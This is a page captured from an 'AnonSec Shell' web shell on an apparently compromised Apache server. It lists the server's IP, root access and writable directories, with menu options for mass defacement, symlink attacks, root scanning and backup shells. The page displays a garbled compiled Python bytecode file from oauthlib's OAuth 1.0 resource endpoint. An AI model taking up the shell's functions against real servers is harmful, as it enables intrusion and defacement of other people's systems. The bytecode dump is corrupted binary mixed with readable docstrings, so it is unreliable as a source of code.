AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/oauthlib/oauth1/rfc5849/endpoints/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/oauthlib/oauth1/rfc5849/endpoints/__pycache__/resource.cpython-310.pyc
o

���a��@sBdZddlZddlmZddlmZe�e�ZGdd�de�Z	dS)	z�
oauthlib.oauth1.rfc5849.endpoints.resource
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This module is an implementation of the resource protection provider logic of
OAuth 1.0 RFC 5849.
�N�)�errors�)�BaseEndpointc@seZdZdZ		ddd�ZdS)�ResourceEndpointa!An endpoint responsible for protecting resources.

    Typical use is to instantiate with a request validator and invoke the
    ``validate_protected_resource_request`` in a decorator around a view
    function. If the request is valid, invoke and return the response of the
    view. If invalid create and return an error response directly from the
    decorator.

    See :doc:`/oauth1/validator` for details on which validator methods to implement
    for this endpoint.

    An example decorator::

        from functools import wraps
        from your_validator import your_validator
        from oauthlib.oauth1 import ResourceEndpoint
        endpoint = ResourceEndpoint(your_validator)

        def require_oauth(realms=None):
            def decorator(f):
                @wraps(f)
                def wrapper(request, *args, **kwargs):
                    v, r = provider.validate_protected_resource_request(
                            request.url,
                            http_method=request.method,
                            body=request.data,
                            headers=request.headers,
                            realms=realms or [])
                    if v:
                        return f(*args, **kwargs)
                    else:
                        return abort(403)
    �GETNcCs�z
|�||||�}WntjyYdSwz|�|�|�|�Wntjy0d|fYSw|js8d|fS|j�|j�sCd|fS|jj|j	|j
|j||jd�sVd|fS|j�|j	|�}|se|jj
|_	|j�|j	|j|�}|sv|jj|_|jj|j	|j||j|d�}	|�|�}
||jd<||jd<|	|jd<|
|jd<t|||	|
f�}|s�t�d	�t�d
|�t�d|�t�d|	�t�d
|
�||fS)a�Create a request token response, with a new request token if valid.

        :param uri: The full URI of the token request.
        :param http_method: A valid HTTP verb, i.e. GET, POST, PUT, HEAD, etc.
        :param body: The request body as a string.
        :param headers: The request headers as a dict.
        :param realms: A list of realms the resource is protected under.
                       This will be supplied to the ``validate_realms``
                       method of the request validator.
        :returns: A tuple of 2 elements.
                  1. True if valid, False otherwise.
                  2. An oauthlib.common.Request object.
        )FNF)�access_token)�uri�realms�client�resource_owner�realm�	signaturez&[Failure] request verification failed.zValid client: %szValid token: %szValid realm: %szValid signature: %s)�_create_requestr�OAuth1Error�_check_transport_security�_check_mandatory_parameters�resource_owner_key�request_validator�check_access_token�validate_timestamp_and_nonce�
client_key�	timestamp�nonce�validate_client_key�dummy_client�validate_access_token�dummy_access_token�validate_realmsr	�_check_signature�
validator_log�all�log�info)�selfr	�http_method�body�headersr
�request�valid_client�valid_resource_owner�valid_realm�valid_signature�v�r.�L/usr/lib/python3/dist-packages/oauthlib/oauth1/rfc5849/endpoints/resource.py�#validate_protected_resource_request5sf�
���	�
	
�


�




�
z4ResourceEndpoint.validate_protected_resource_request)rNNN)�__name__�
__module__�__qualname__�__doc__r0r.r.r.r/rs
"�r)
r4�logging�r�baser�	getLoggerr1r"rr.r.r.r/�<module>s


Anon7 - 2022
AnonSec Team